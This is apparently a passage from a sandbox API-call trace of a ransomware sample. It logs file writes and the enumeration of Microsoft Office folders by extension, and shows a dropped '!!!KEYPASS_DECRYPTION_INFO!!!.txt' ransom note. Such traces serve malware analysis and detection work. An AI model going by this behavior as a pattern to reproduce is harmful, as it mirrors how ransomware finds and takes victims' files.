dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0245.376] GetFileType (hFile=0x61c) returned 0x1 [0245.376] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0245.376] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0245.376] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0245.376] WriteFile (in: hFile=0x61c, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0245.377] WriteFile (in: hFile=0x61c, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0245.377] CloseHandle (hObject=0x61c) returned 1 [0245.377] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x2e79858 [0245.378] FindNextFileW (in: hFindFile=0x2e79858, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.378] FindNextFileW (in: hFindFile=0x2e79858, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.378] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0245.378] FindNextFileW (in: hFindFile=0x2e79858, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.378] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicelegant.dotx") returned=".dotx" [0245.378] FindNextFileW (in: hFindFile=0x2e79858, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.378] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicsimple.dotx") returned=".dotx" [0245.378] FindNextFileW (in: hFindFile=0x2e79858, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.378] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicstylish.dotx") returned=".dotx" [0245.378] FindNextFileW (in: hFindFile=0x2e79858, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.378] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwcapitalized.dotx") returned=".dotx" [0245.378] FindNextFileW (in: hFindFile=0x2e79858, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.378] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwclassic.dotx") returned=".dotx" [0245.378] FindNextFileW (in: hFindFile=0x2e79858, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.378] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwnumbered.dotx") returned=".dotx" [0245.378] FindNextFileW (in: hFindFile=0x2e79858, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.378] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\casual.dotx") returned=".dotx" [0245.378] FindNextFileW (in: hFindFile=0x2e79858, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.378] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\centered.dotx") returned=".dotx" [0245.378] FindNextFileW (in: hFindFile=0x2e79858, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.378] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Classic.dotx") returned=".dotx" [0245.378] FindNextFileW (in: hFindFile=0x2e79858, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.378] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Default.dotx") returned=".dotx" [0245.378] FindNextFileW (in: hFindFile=0x2e79858, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.378] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesdistinctive.dotx") returned=".dotx" [0245.378] FindNextFileW (in: hFindFile=0x2e79858, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.378] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linessimple.dotx") returned=".dotx" [0245.378] FindNextFileW (in: hFindFile=0x2e79858, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.378] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesstylish.dotx") returned=".dotx" [0245.378] FindNextFileW (in: hFindFile=0x2e79858, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.379] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\minimalist.dotx") returned=".dotx" [0245.379] FindNextFileW (in: hFindFile=0x2e79858, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.379] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\shaded.dotx") returned=".dotx" [0245.379] FindNextFileW (in: hFindFile=0x2e79858, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.379] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013.dotx") returned=".dotx" [0245.379] FindNextFileW (in: hFindFile=0x2e79858, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.379] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013bw.dotx") returned=".dotx" [0245.379] FindNextFileW (in: hFindFile=0x2e79858, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0245.379] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.379] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ReviewRouting_Init.xsn") returned=".xsn" [0245.379] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.379] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ReviewRouting_Review.xsn") returned=".xsn" [0245.379] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.379] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ROSE.CSS") returned=".CSS" [0245.379] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.379] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SAVASWEB.VSL") returned=".VSL" [0245.379] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.379] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG.HXS") returned=".HXS" [0245.379] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.379] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG_COL.HXC") returned=".HXC" [0245.379] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.428] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG_COL.HXT") returned=".HXT" [0245.428] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.428] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG_F_COL.HXK") returned=".HXK" [0245.428] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.428] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG_K_COL.HXK") returned=".HXK" [0245.428] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.428] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SGRES.DLL") returned=".DLL" [0245.428] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.428] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SHAPNUM.VSL") returned=".VSL" [0245.428] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.428] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKY.CSS") returned=".CSS" [0245.428] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.428] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB.HXS") returned=".HXS" [0245.428] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.428] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC.HXS") returned=".HXS" [0245.428] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.428] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC_COL.HXC") returned=".HXC" [0245.428] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.428] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC_COL.HXT") returned=".HXT" [0245.429] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.429] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC_F_COL.HXK") returned=".HXK" [0245.429] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.429] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC_K_COL.HXK") returned=".HXK" [0245.429] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.429] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_COL.HXC") returned=".HXC" [0245.429] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.429] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_COL.HXT") returned=".HXT" [0245.429] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.429] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_F_COL.HXK") returned=".HXK" [0245.429] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.429] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_K_COL.HXK") returned=".HXK" [0245.429] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.429] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE.HXS") returned=".HXS" [0245.429] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.429] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG.HXS") returned=".HXS" [0245.429] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.429] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_COL.HXC") returned=".HXC" [0245.429] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.429] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_COL.HXT") returned=".HXT" [0245.429] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.429] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_F_COL.HXK") returned=".HXK" [0245.430] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.430] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_K_COL.HXK") returned=".HXK" [0245.430] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.430] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE_COL.HXC") returned=".HXC" [0245.430] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.430] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE_COL.HXT") returned=".HXT" [0245.430] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.430] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE_F_COL.HXK") returned=".HXK" [0245.430] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.430] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE_K_COL.HXK") returned=".HXK" [0245.430] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.430] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SkypeForBusinessBasic2019_eula.txt") returned=".txt" [0245.430] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.430] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SkypeForBusinessVDI2019_eula.txt") returned=".txt" [0245.430] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.430] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SLINTL.DLL") returned=".DLL" [0245.430] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.430] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SMIGRATE.VSL") returned=".VSL" [0245.430] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.451] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SOCIALCONNECTORRES.DLL") returned=".DLL" [0245.451] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.451] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPACE.VRD") returned=".VRD" [0245.451] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.452] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPRING.CSS") returned=".CSS" [0245.452] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.452] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPS.CSS") returned=".CSS" [0245.452] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.452] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SSPRINT.VSL") returned=".VSL" [0245.452] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.452] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STEEL.CSS") returned=".CSS" [0245.452] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.452] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STSLIST.CHM") returned=".CHM" [0245.452] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.452] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STSLISTI.DLL") returned=".DLL" [0245.452] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.452] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SUNNY.CSS") returned=".CSS" [0245.452] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.452] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SUNSET.CSS") returned=".CSS" [0245.452] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.452] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryDashboard.xltx") returned=".xltx" [0245.452] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.452] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryLog.xltx") returned=".xltx" [0245.452] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.452] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeAccess.nrr") returned=".nrr" [0245.452] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.452] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeExcel.nrr") returned=".nrr" [0245.452] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.452] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOneNote.nrr") returned=".nrr" [0245.452] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.453] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlook.nrr") returned=".nrr" [0245.453] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.453] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookAddr.nrr") returned=".nrr" [0245.453] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.453] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookAppt.nrr") returned=".nrr" [0245.453] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.453] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookMail.nrr") returned=".nrr" [0245.453] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.453] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookMailRead.nrr") returned=".nrr" [0245.453] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.453] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookMeetingReqRead.nrr") returned=".nrr" [0245.453] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.453] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookMeetingReqSend.nrr") returned=".nrr" [0245.453] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.453] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookTask.nrr") returned=".nrr" [0245.453] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.453] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMePowerPoint.nrr") returned=".nrr" [0245.453] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.453] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeProject.nrr") returned=".nrr" [0245.453] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.453] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeVisio.nrr") returned=".nrr" [0245.453] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.453] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeWord.nrr") returned=".nrr" [0245.453] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.453] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TERRCOTT.CSS") returned=".CSS" [0245.453] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.453] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TIMESOLN.VSL") returned=".VSL" [0245.453] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.454] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\UcAddinRes.dll") returned=".dll" [0245.454] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.454] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\UccApiRes.dll") returned=".dll" [0245.454] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.461] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\UmOutlookStrings.dll") returned=".dll" [0245.461] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.461] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VALVE.VRD") returned=".VRD" [0245.461] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.461] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISBRRES.DLL") returned=".DLL" [0245.461] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.461] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISCOLOR.VSL") returned=".VSL" [0245.461] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.461] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISEVMON.EXE") returned=".EXE" [0245.461] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.461] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISINTL.DLL") returned=".DLL" [0245.461] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.461] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.CSS") returned=".CSS" [0245.461] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.461] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.HXS") returned=".HXS" [0245.461] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.461] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_COL.HXC") returned=".HXC" [0245.461] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.461] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_COL.HXT") returned=".HXT" [0245.461] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.461] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_F_COL.HXK") 